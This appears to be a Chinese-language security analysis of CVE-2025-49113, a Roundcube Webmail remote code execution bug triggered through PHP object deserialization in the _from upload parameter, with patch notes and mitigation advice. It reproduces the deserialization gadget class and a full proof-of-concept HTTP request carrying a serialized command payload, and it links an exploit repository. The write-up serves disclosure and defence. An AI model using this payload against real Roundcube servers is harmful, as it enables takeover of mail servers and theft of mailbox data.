CVE-2025-49113 – 通过PHP对象反序列化在Roundcube中实现认证后远程代码执行
概述
在Roundcube Webmail(版本<1.5.10和1.6.0–1.6.10)中发现了一个严重漏洞,允许认证用户通过PHP对象反序列化缺陷执行远程代码。该漏洞由program/actions/settings/upload.php中_from参数的不当验证触发,CVSS 3.1评分为9.9(严重)。
CVE ID: CVE-2025-49113
严重程度: 严重
CVSS评分: 9.9 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
EPSS评分: 0.00661
EPSS百分位: %70(可能被利用)
发布日期: 2025年6月1日
受影响版本: 所有1.5.10之前版本,1.6.11之前版本
已修复版本: 1.5.10, 1.6.11
技术分析
Roundcube团队在版本1.6.11中引入了补丁:https://github.com/roundcube/roundcubemail/commit/0376f69e958a8fef7f6f09e352c541b4e7729c4d
添加了对_from参数的清理,防止其包含无效字符如.
、-
等。
1
2
3
4
5
6
7
8
9
10
11
|
// 验证URL输入
if (!rcube_utils::is_simple_string($type)) {
rcmail::write_log('errors', 'URL参数"_from"包含不允许的字符,请求被拒绝。');
$rcmail->output->command('display_message', '无效输入', 'error');
$rcmail->output->send('iframe');
}
public static function is_simple_string($input)
{
return is_string($input) && !!preg_match('/^[\w.-]+$/i', $input);
}
|
我们可以使用易受攻击的版本1.6.10来找到漏洞点:https://github.com/roundcube/roundcubemail/blob/1.6.10/
文件program/actions/settings/upload.php包含以下代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
$from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);
$type = preg_replace('/(add|edit)-/', '', $from);
// 设置中的插件可能使用此文件进行某些上传(#5694)
// 确保它不包含点号,这是使用rcube_session::append()时的特殊字符
$type = str_replace('.', '-', $type);
if (!$err && !empty($attachment['status']) && empty($attachment['abort'])) {
$id = $attachment['id'];
// 在会话中存储新文件
unset($attachment['status'], $attachment['abort']);
$rcmail->session->append($type . '.files', $id, $attachment);
|
用户控制的参数_from被赋值给$from变量。$from随后用于从字符串中移除add-或edit-前缀。$type然后用于将文件附加到会话:
1
|
$rcmail->session->append($type . '.files', $id, $attachment);
|
rcube_session的append方法如果在最后0.5秒内未重新加载,则会调用会话对象的reload()方法。
1
2
3
4
5
6
7
8
|
public function append($path, $key, $value)
{
// 从数据库重新读取会话数据,因为它可能已过时
if (!$this->reloaded && microtime(true) - $this->start > 0.5) {
$this->reload();
$this->reloaded = true;
$this->start = microtime(true);
}
|
reload方法调用session_decode,最终通过$_SESSION = array_merge_recursive($_SESSION, $merge_data);
将附加数据添加到会话中。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
public function reload()
{
// 从先前的附加中收集更新数据
$merge_data = [];
foreach ((array) $this->appends as $var) {
$path = explode('.', $var);
$value = $this->get_node($path, $_SESSION);
$k = array_pop($path);
$node = &$this->get_node($path, $merge_data);
$node[$k] = $value;
}
if ($this->key) {
$data = $this->read($this->key);
}
if (!empty($data)) {
session_decode($data);
// 将附加和取消设置应用于重新加载的数据
$_SESSION = array_merge_recursive($_SESSION, $merge_data);
|
Roundcube中对serialize和unserialize函数有自定义覆盖,这使得利用更加困难。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
/**
* 序列化会话数据
*/
protected function serialize($vars)
{
$data = '';
if (is_array($vars)) {
foreach ($vars as $var => $value) {
$data .= $var . '|' . serialize($value);
}
} else {
$data = 'b:0;';
}
return $data;
}
|
序列化对象在会话中按|
字符分割。Unserialize函数错误处理!
字符,导致会话损坏。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
/**
* 反序列化会话数据
* https://www.php.net/manual/en/function.session-decode.php#56106
*
* @param string $str 序列化数据字符串
*
* @return array|false 反序列化数据
*/
public static function unserialize($str)
{
$str = (string) $str;
$endptr = strlen($str);
$p = 0;
$serialized = '';
$items = 0;
$level = 0;
while ($p < $endptr) {
$q = $p;
while ($str[$q] != '|') {
if (++$q >= $endptr) {
break 2;
}
}
if ($str[$p] == '!') {
$p++;
$has_value = false;
} else {
$has_value = true;
}
|
发现此漏洞的网络研究员Kirill Firsov在他的博客中解释了如何发现和利用此漏洞。
利用步骤
利用此漏洞并不容易。它需要自定义PHP对象反序列化,并将有效载荷放入两个不同的参数_from和filename中。
可以使用Crypt_GPG_Engine类来制作对象反序列化小工具。该类的一个私有成员_gpgconf在proc_open函数中使用,因此可以更新它以执行攻击者控制的命令。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
private function _closeIdleAgents()
// 注意:我们再次检查此二进制文件是否可执行,出于安全原因
if ($this->_gpgconf && is_executable($this->_gpgconf)) {
// 2.1.13之前不支持--homedir,使用环境变量
$env = ['GNUPGHOME' => $this->_homedir];
$cmd = $this->_gpgconf . ' --kill gpg-agent';
if ($process = proc_open($cmd, [], $pipes, null, $env)) {
proc_close($process);
}
}
class Crypt_GPG_Engine{
private $_gpgconf;
function __construct($cmd){
$this->_gpgconf = $cmd;
}
}
|
利用脚本可以在GitHub仓库中找到:https://github.com/fearsoff-org/CVE-2025-49113
根据Kirill的描述,最终结果如下所示:
1
2
3
4
5
6
7
8
9
10
11
12
|
POST /?_from=edit-!";i:0;O:16:"Crypt_GPG_Engine":1:{S:26:"\00Crypt_GPG_Engine\00_gpgconf";S:18:"touch+/tmp/pwned;#";}i:0;b:0;}";}}&_task=settings&_framed=1&_remote=1&_id=1&_uploadid=1&_unlock=1&_action=upload HTTP/1.1
Host: roundcube.local
X-Requested-With: XMLHttpRequest
Accept-Encoding: identity
Content-Length: 242
-----------------------------WebKitFormBoundary
Content-Disposition: form-data; name="_file[]"; filename="x|b:0;preferences_time|b:0;preferences|s:179:\"a:3:{i:0;s:57:\".png"
Content-Type: image/png
IMAGE
----------------------------- WebKitFormBoundary--
|
影响
远程代码执行:认证用户可能能够在Web服务器级别执行系统命令。
全系统妥协:由于攻击者代码在Web服务器下运行,访问可能扩展到数据库、邮箱和文件系统。
高利用率:CVSS 9.9和EPSS超过70百分位,这使其成为2025年最严重的漏洞之一。
缓解与修复
立即升级:
- 检查您的Roundcube版本:版本1.5.9或更早,以及1.6.0–1.6.10易受攻击。
- 立即修补到1.5.10或1.6.11。
审计日志和文件上传:
分段和最小权限:
- 在有限权限下运行Webmail,避免直接暴露在互联网上。
修补捆绑安装:
- 供应商提供的版本(cPanel、Plesk)可能不会自动更新—手动验证和应用补丁。
参考